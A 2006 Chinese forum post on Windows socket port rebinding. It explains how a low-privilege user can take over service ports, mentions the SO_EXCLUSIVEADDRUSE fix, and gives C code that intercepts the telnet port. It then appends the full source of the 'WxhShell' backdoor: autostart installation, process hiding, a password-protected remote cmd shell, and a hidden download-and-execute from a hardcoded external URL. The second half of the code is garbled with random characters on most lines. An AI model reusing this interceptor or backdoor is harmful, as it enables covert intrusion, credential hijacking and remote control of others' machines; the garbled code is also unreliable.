[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; %' $o"
if(chr[0]==0xd || chr[0]==0xa) { T f4tj!t-
pwd=0; <q (z>*-e
break; p =(@3%k
} 2o3EHZ+]cm
i++; g13 rx%-
} mO*^1
ehNzDr\s
// 如果是非法用户，关闭 socket tz^/J=)"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y^KTkS0D
} ^03j8Pc-c
2f>PO +4S{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >&,[H:Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HOoPrB m
(#D*Pl
while(1) { OFk8>"|
gU&%J4O
ZeroMemory(cmd,KEY_BUFF); 5%zXAQD=<
dY7'OAUyVl
// 自动支持客户端 telnet标准 )+P]Vf\jH
j=0; aE"[5*a
while(j<KEY_BUFF) { G{Yz8]m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3S*AxAeg
cmd[j]=chr[0]; 6e,xDr
if(chr[0]==0xa || chr[0]==0xd) { .IarkeCtb
cmd[j]=0; 7O5`v(<9n>
break; 5U`ZbG
} oF]cTAqhC.
j++; |re}6#TgcT
} 2P#=a?~[
#KxbM-1=
// 下载文件 e~l#4{w
if(strstr(cmd,"http://")) { ;U9J++\d<A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5xCT~y/a
if(DownloadFile(cmd,wsh)) 8:=n*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Hvc_Av''
else 7c|bc6?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \u,}vppz
} =Prb'8 W
else { : _e#
Byl^?5
switch(cmd[0]) { ?BA]7M(,4
<"N_j]wD
// 帮助 sm,VYYs
case '?': { 4y:]DC"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kOOGw:/
break; -l~Z0U>^
} W%<LTWOc
// 安装 2. G=8:l
case 'i': { b-ll
if(Install()) fmqb`%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KWAb-yB
else 7ELMd{CD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C%d_@*82
break; `Z:R Ce^
} Y3.$G1{#0w
// 卸载 X cr =
case 'r': { <8,o50`B
if(Uninstall()) ~h}Fi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IV%zO+
else SIO&rrT.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7tUA>;++
break; +#U|skl
} &Z(K6U#.
// 显示 wxhshell 所在路径 6+r$t#
case 'p': { Zl 9aDg
char svExeFile[MAX_PATH]; pl@O N"=[
strcpy(svExeFile,"\n\r"); NBl+_/2'w
strcat(svExeFile,ExeFile); )?+$x[f!*
send(wsh,svExeFile,strlen(svExeFile),0); vgY3L
break; Z;9>S=w!
} ^b:(jI*l
// 重启 .2d9?p3Y
case 'b': { We0.3aG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r/pH_@
if(Boot(REBOOT)) Grs]d-xI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxor1P#|
else { x{D yTtX<
closesocket(wsh); zp\8_U@
ExitThread(0); db'/`JeK b
} 4XVCHs(
break; X%yO5c\l2
} ]7-&V-Ct*
// 关机 F, U*yj
case 'd': { SGb;!T*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J>fQNW!{
if(Boot(SHUTDOWN)) +"9hWb5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^*<f8 ~d
else { ;^t{Il'j
closesocket(wsh); N0hE4t
ExitThread(0); dJ$"l|$$
} fXrXV~'8
break; d%l{V6
} ^u3V E
// 获取shell OL4z%mDZi
case 's': { oIUy-|
CmdShell(wsh); U(~+o
closesocket(wsh); &-(463
ExitThread(0); 3u%{dGa
break; 3?Y2L
} 9x,RvWTb
// 退出 >S$Z
case 'x': { ss;R8:5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xsWur(>]
CloseIt(wsh); 5 ae2<Y=
break; F~A'X
} [O: !(Gje
// 离开 t_mIOm)S%
case 'q': { y:v,j42%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [M+f-kl
closesocket(wsh); Mq';S^
WSACleanup(); cuOvN"nuNj
exit(1); %Uz(Vd#K
break; Q:J^"
} >X*Mio8P#
} GhPK-+"X
} CI3XzH\IX*
`/Y{ l
// 提示信息 bWOS `5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); re> rr4@
} ?%H):r
} Y@PI {;!
/x3/Ubmz~x
return; {Zp\^/
} asJ)4ema
L(X6-M:
// shell模块句柄 KK@.~'d
int CmdShell(SOCKET sock) ZvcJK4hi
{ g-Pwp[!qkf
STARTUPINFO si; b!M"VDjQ
ZeroMemory(&si,sizeof(si)); Nj("|`9"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fu~+8CE.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bn>8&w/P
PROCESS_INFORMATION ProcessInfo; `a9L%z
char cmdline[]="cmd"; ZE%YXG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~on(3|$
return 0; b(9FZ]7S
} >I=2!C1w
ZJlEKib%2
// 自身启动模式 z0/} !
int StartFromService(void) Wb S4pdA
{ >[X{LI(_<<
typedef struct 6~*9;!th
{ 4DTzSy:x
DWORD ExitStatus; G7D2{J{1
DWORD PebBaseAddress; ek&kv#G
DWORD AffinityMask; [Y`,qB<B
DWORD BasePriority; 9{:O{nl
ULONG UniqueProcessId; eI@ q|"U
ULONG InheritedFromUniqueProcessId; ,^S@EDq
} PROCESS_BASIC_INFORMATION; *b];|n{
iOG[>u0h
PROCNTQSIP NtQueryInformationProcess; ?&Pg2]g<
*cyeO*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qc-mGmomL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OQ9x*TmK
M,ir`"s
HANDLE hProcess; C:G8c[
PROCESS_BASIC_INFORMATION pbi; -,["c9'3
Iy }:F8F>g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2.d|G`
if(NULL == hInst ) return 0; ]THPSw_y8
=|=.>?t6Z0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x]z2Z*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); csfgJ^n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x"~~l
NH0qVQ@A
if (!NtQueryInformationProcess) return 0; , lJv
JsotOic%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TT-h;'nJ
if(!hProcess) return 0; ApjOj/
zq%D/H6J,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; frBX{L
!Kv@\4
CloseHandle(hProcess); A19;1#$=
)Z %T27r,^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JAI)Eqqv]
if(hProcess==NULL) return 0; aH#l9kCb
bMU(?hb
HMODULE hMod; z~A]9|/61v
char procName[255]; @JRNb=?a
unsigned long cbNeeded; 3"{.37Q
~xoF6CF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cCR+D.F
R<V!%rL;;
CloseHandle(hProcess); D$JHs4
~(]0k.\
if(strstr(procName,"services")) return 1; // 以服务启动 #Z5}2soA
Iuh/I +[7
return 0; // 注册表启动 c*R/]Dn
} u!:z.RH8n
Reu*Pe
// 主模块 owPm/F
int StartWxhshell(LPSTR lpCmdLine) z.}[m,oTF
{ vp.ZK[/`
SOCKET wsl; O-4C+?V
BOOL val=TRUE; r:]1O*
int port=0; *& m#qEv
struct sockaddr_in door; t3+Py7qv
SI8%M=P>
if(wscfg.ws_autoins) Install(); gsn)Wv$h
WAn'kA
port=atoi(lpCmdLine); |c`w'W?C6
>,DbNmi
if(port<=0) port=wscfg.ws_port; (L`j0kPN
;m2<eS`o'
WSADATA data; rSYi<ku
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n>'Kp T9|
<G*nDFWf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ooV*I|wcI
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;vb8G$
door.sin_family = AF_INET; 6[]]Y,Y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !`7B^RZ
door.sin_port = htons(port); x\Y $+A,P
5xOvY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VAXT{s&4>
closesocket(wsl); #h@J=Ki
return 1; V"!G2&
} Y{*u&^0{
nF5qw>t#
if(listen(wsl,2) == INVALID_SOCKET) { c_" ~n|
closesocket(wsl); kD}Y|*]5-5
return 1; #A8@CA^d
} HfLLlH<L`&
Wxhshell(wsl); ^#0U ?9
WSACleanup(); 7L^%x3-|&
Xo*DvD
return 0; sp*Vqd
03j]d&P%d
} ~l2aNVv;
LF0sH)e]
// 以NT服务方式启动 vO;I(^Q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CwJDmz\tk
{ Ks\ NE=;5
DWORD status = 0; d9n?v)<v
DWORD specificError = 0xfffffff; b<]n%Q'n
*~/OOH$"
serviceStatus.dwServiceType = SERVICE_WIN32; 8KH\`5<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $\k0Nup}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =rR~`
serviceStatus.dwWin32ExitCode = 0; WF\)fc#;_o
serviceStatus.dwServiceSpecificExitCode = 0; ZR\VCVH\^
serviceStatus.dwCheckPoint = 0; 21(p|`X
serviceStatus.dwWaitHint = 0; sFBneBub
&[hLzlrg
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vp(;W,ba:|
if (hServiceStatusHandle==0) return; #b7$TV
wR{'y)$
status = GetLastError(); wW"z
if (status!=NO_ERROR) ,<:!NF9
{ 3R&lqxhg
serviceStatus.dwCurrentState = SERVICE_STOPPED; ( 9]_ HW[
serviceStatus.dwCheckPoint = 0; &5L<i3BX
serviceStatus.dwWaitHint = 0; aTzjm`F0
serviceStatus.dwWin32ExitCode = status; jP~Z`yf
serviceStatus.dwServiceSpecificExitCode = specificError; xW[ -n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |7#[ (%D!
return; Pm$q]A~
} I7&_Xr
e${>#>
serviceStatus.dwCurrentState = SERVICE_RUNNING; [{r}u
serviceStatus.dwCheckPoint = 0; &gI~LP
serviceStatus.dwWaitHint = 0; Ssk}e=]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V i&*&"q
} 7$rjlVe
?h!i0Rsm
// 处理NT服务事件，比如：启动、停止 }za[E>z
VOID WINAPI NTServiceHandler(DWORD fdwControl) *|_"W+JC
{ Z/ Tm)Xd
switch(fdwControl) ?<*-j4v
{ 9 fMau
case SERVICE_CONTROL_STOP: nhN);R~o"1
serviceStatus.dwWin32ExitCode = 0; X";@T.ZGut
serviceStatus.dwCurrentState = SERVICE_STOPPED; w}{5#
serviceStatus.dwCheckPoint = 0; we#wH-
serviceStatus.dwWaitHint = 0; D3c2^r$Z
{ V)P&Zw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s :`8ZBz~
} Cg616hyut
return; 3v")J*t
case SERVICE_CONTROL_PAUSE: }$\M{#C~
serviceStatus.dwCurrentState = SERVICE_PAUSED; "z<azs
break; Od?qz1
case SERVICE_CONTROL_CONTINUE: -LM;}<
serviceStatus.dwCurrentState = SERVICE_RUNNING; hva2o`
break; <A9y9|>o
case SERVICE_CONTROL_INTERROGATE: >{ me
break; + S4fGT
}; rDdzxrKg{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )NR Q2
} BA=,7y&;j
]m#5`zGK1|
// 标准应用程序主函数 IHp_A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I!wX[4p eg
{ <58l;<0
{NJfNu
// 获取操作系统版本 2m>-dqg
OsIsNt=GetOsVer(); l6kmS
GetModuleFileName(NULL,ExeFile,MAX_PATH); AfC>Q!-w
.qA{xbu
// 从命令行安装 1&:@
if(strpbrk(lpCmdLine,"iI")) Install(); % },Pe
B4XZko(
// 下载执行文件 gKg-O
if(wscfg.ws_downexe) { 0[<~?`:)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tDDy]==E
WinExec(wscfg.ws_filenam,SW_HIDE); y&_m4Zw"
